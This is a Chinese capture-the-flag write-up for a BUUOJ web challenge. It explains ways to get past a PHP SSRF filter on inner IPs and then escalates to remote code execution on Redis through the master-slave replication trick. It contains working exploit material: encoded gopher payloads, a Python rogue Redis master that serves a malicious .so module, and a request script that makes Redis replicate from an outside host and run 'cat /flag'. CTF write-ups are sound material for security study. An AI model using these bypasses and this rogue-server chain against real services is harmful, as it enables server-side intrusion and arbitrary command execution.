好像很久都没写过web的wp了…趁着应付完考试来水一篇
ssrf ssrf防御机制 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php function check_inner_ip ($url) { $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/' ,$url); if (!$match_result) { die ('url fomat error' ); } try { $url_parse=parse_url($url); } catch (Exception $e) { die ('url fomat error' ); return false ; } $hostname=$url_parse['host' ]; $ip=gethostbyname($hostname); $int_ip=ip2long($ip); return ip2long('127.0.0.0' )>>24 == $int_ip>>24 || ip2long('10.0.0.0' )>>24 == $int_ip>>24 || ip2long('172.16.0.0' )>>20 == $int_ip>>20 || ip2long('192.168.0.0' )>>16 == $int_ip>>16 ; } function safe_request_url ($url) { if (check_inner_ip($url)) { echo $url.' is inner ip' ; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_HEADER, 0 ); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url' ]) { safe_request_url($result_info['redirect_url' ]); } curl_close($ch); var_dump($output); } } if (isset ($_GET['url' ])){ $url = $_GET['url' ]; if (!empty ($url)){ safe_request_url($url); } } else { highlight_file(__FILE__ ); } ?>
存在一个curl的ssrf,但是存在check_inner_ip
的限制
check_inner_ip
做了几件事:
限制协议只能为http,https,gopher,dict
使用parse_url
获取host
使用gethostbyname
获取ip地址
使用ip2long
将ip地址转为整数,判断是否为内网网段
另外在发送请求后还对重定向的情况做了处理
1 2 3 4 if ($result_info['redirect_url' ]){ safe_request_url($result_info['redirect_url' ]); }
这样基于跳转的方法也无法使用了
一些绕过的方法 虽然dns解析和重定向都无法使用了,但是ssrf的绕过方法依然有很多,逐一尝试下其他方法
http://0.0.0.0/hint.php
测试了下这个方法只能在linux下使用,windows并不认识这个ip…
http://foo@127.0.0.1:80@www.google.com/hint.php
DNS Rebinding
感觉这是最难防御的ssrf绕过方法了,不过对环境也有一定的限制,懒狗还没测试…
http://127。0。0。1/hint.php
这个本地倒是测试成功了,buu上就不行,可能跟curl版本有关吧
http://127.1/hint.php
ip2long('127.1')
会返回false
,这里可以绕过过滤
但是gethostbyname
在linux下会把127.1
变为127.0.0.1
,所以这题是无法使用的。不过windows下经过gethostbyname
后依然是127.1
curl是支持127.1
这样的写法的,但这样发出去的http请求是有问题的。因为http包中的host头被设为了127.1
,apache会返回一个400 Bad Request
既然是http包的问题,那么用gopher协议构造一个正常的http请求即可。不过这因为gethostbyname
的原因,这个方法这里用不了
ip进制绕过
本来以为ip2long
是可以防御这种方法的,后来才发现根本不行…和127.1一样会返回false
和127.1类似,也是存在不能用http的问题,但是gethostbyname
并不会有影响,所以这题是可以使用的,比如:
1 ?url=gopher://0177.0.0x0001:80/_%2547%2545%2554%2520%252f%2568%2569%256e%2574%252e%2570%2568%2570%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2532%2537%252e%2530%252e%2530%252e%2531%250d%250a%2555%2573%2565%2572%252d%2541%2567%2565%256e%2574%253a%2520%2563%2575%2572%256c%252f%2537%252e%2536%2535%252e%2533%250d%250a%2541%2563%2563%2565%2570%2574%253a%2520%252a%252f%252a%250d%250a%250d%250a
http://127.0.0.1./hint.php
ipv6
1 2 http://[::1]/ >>> http://127.0.0.1/ http://[::]/ >>> http://0.0.0.0/
http:///127.0.0.1/hint.php
这个trick也非常有意思,之前一直以为只有浏览器才会解析这样host为空的畸形url,结果翻p牛小密圈旧帖的时候发现Li4n0师傅提到curl和git也会按照浏览器的方式解析,测试以下发现直接用curl会卡在那,但是php的libcurl就可以…
用parse_url
解析这样的畸形url会返回false
,然后$hostname=$url_parse['host'];
会返回null
(神奇的php)。
接着又是一个windows和linux下php的差异,windows下gethostbyname(null);
会返回本机ip,导致后面无法绕过ip检测。然而linux下并没有这样的特性,gethostbyname
会返回null
,绕过ip检测
感觉写的有点乱…总结一下buu上环境能用的有:
http://0.0.0.0/hint.php
gopher+进制转换
1 ?url=gopher://0177.0.0x0001:80/_%2547%2545%2554%2520%252f%2568%2569%256e%2574%252e%2570%2568%2570%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2532%2537%252e%2530%252e%2530%252e%2531%250d%250a%2555%2573%2565%2572%252d%2541%2567%2565%256e%2574%253a%2520%2563%2575%2572%256c%252f%2537%252e%2536%2535%252e%2533%250d%250a%2541%2563%2563%2565%2570%2574%253a%2520%252a%252f%252a%250d%250a%250d%250a
http:///127.0.0.1/hint.php
redis主从复制rce hint.php内容:
1 2 3 4 5 6 7 <?php if ($_SERVER['REMOTE_ADDR' ]==="127.0.0.1" ){ highlight_file(__FILE__ ); } if (isset ($_POST['file' ])){ file_put_contents($_POST['file' ],"<?php echo 'redispass is root';exit();" .$_POST['file' ]); }
那么很显然是要用到redis-post-exploitation 中提出的redis主从复制rce了
简单说下原理:
slaveof
(新版改为REPLICAOF
)建立后slave会向master发送PSYNC
,请求开始复制
master可以返回FULLRESYNC
,进行全量复制,然后将自己持久化的数据发给slave,正常情况下包括Replication ID
, offset
,master存储的key-value等等
slave会将这些数据保存到config中dbfilename
指定的文件(默认为dump.rdb),然后再载入。
通过伪造master,可以控制发往slave的信息,从而做到无脏数据写文件
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件
因此通过FULLRESYNC写入恶意so文件,然后MODULE LOAD /path/to/mymodule.so
载入模块即可rce
最后的解法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import osimport sysimport argparseimport socketserverimport loggingimport socketimport timelogging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s' ) DELIMITER = b"\r\n" class RoguoHandler (socketserver.BaseRequestHandler) : def decode (self, data) : if data.startswith(b'*' ): return data.strip().split(DELIMITER)[2 ::2 ] if data.startswith(b'$' ): return data.split(DELIMITER, 2 )[1 ] return data.strip().split() def handle (self) : while True : data = self.request.recv(1024 ) logging.info("receive data: %r" , data) arr = self.decode(data) if arr[0 ].startswith(b'PING' ): self.request.sendall(b'+PONG' + DELIMITER) elif arr[0 ].startswith(b'REPLCONF' ): self.request.sendall(b'+OK' + DELIMITER) elif arr[0 ].startswith(b'PSYNC' ) or arr[0 ].startswith(b'SYNC' ): self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER) self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER) self.request.sendall(self.server.payload + DELIMITER) break self.finish() def finish (self) : self.request.close() class RoguoServer (socketserver.TCPServer) : allow_reuse_address = True def __init__ (self, server_address, payload) : super(RoguoServer, self).__init__(server_address, RoguoHandler, True ) self.payload = payload if __name__=='__main__' : expfile = 'exp.so' lport = 6379 with open(expfile, 'rb' ) as f: server = RoguoServer(('0.0.0.0' , lport), f.read()) server.handle_request()
通过ssrf用gopher协议对redis进行操作即可
1 2 3 4 5 6 7 8 9 import requestspayload = "%252a%2532%250d%250a%2524%2534%250d%250a%2541%2555%2554%2548%250d%250a%2524%2534%250d%250a%2572%256f%256f%2574%250d%250a%252a%2531%250d%250a%2524%2537%250d%250a%2543%254f%254d%254d%2541%254e%2544%250d%250a%252a%2533%250d%250a%2524%2537%250d%250a%2573%256c%2561%2576%2565%256f%2566%250d%250a%2524%2531%2532%250d%250a%2531%2537%2534%252e%2532%252e%2534%2531%252e%2531%2531%2537%250d%250a%2524%2534%250d%250a%2536%2533%2537%2539%250d%250a%252a%2533%250d%250a%2524%2536%250d%250a%256d%256f%2564%2575%256c%2565%250d%250a%2524%2534%250d%250a%256c%256f%2561%2564%250d%250a%2524%2531%2530%250d%250a%252e%252f%2564%2575%256d%2570%252e%2572%2564%2562%250d%250a%252a%2532%250d%250a%2524%2531%2531%250d%250a%2573%2579%2573%2574%2565%256d%252e%2565%2578%2565%2563%250d%250a%2524%2539%250d%250a%2563%2561%2574%2520%252f%2566%256c%2561%2567%250d%250a%252a%2531%250d%250a%2524%2534%250d%250a%2571%2575%2569%2574%250d%250a" burp0_url = "http://b90f32d4-6ba9-4847-8d3a-d4c58e71d4d7.node3.buuoj.cn:80/?url=gopher://0.0.0.0:6379/_" +payload burp0_headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Connection" : "close" , "Upgrade-Insecure-Requests" : "1" } proxy = {'http' :'http://127.0.0.1:8080' } response = requests.get(burp0_url, headers=burp0_headers,proxies=proxy).text print(response)
里面的payload解码后是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 *2 $4 AUTH $4 root *1 $7 COMMAND *3 $7 slaveof $12 174.2.41.117 $4 6379 *3 $6 module $4 load $10 ./dump.rdb *2 $11 system.exec $9 cat /flag *1 $4 quit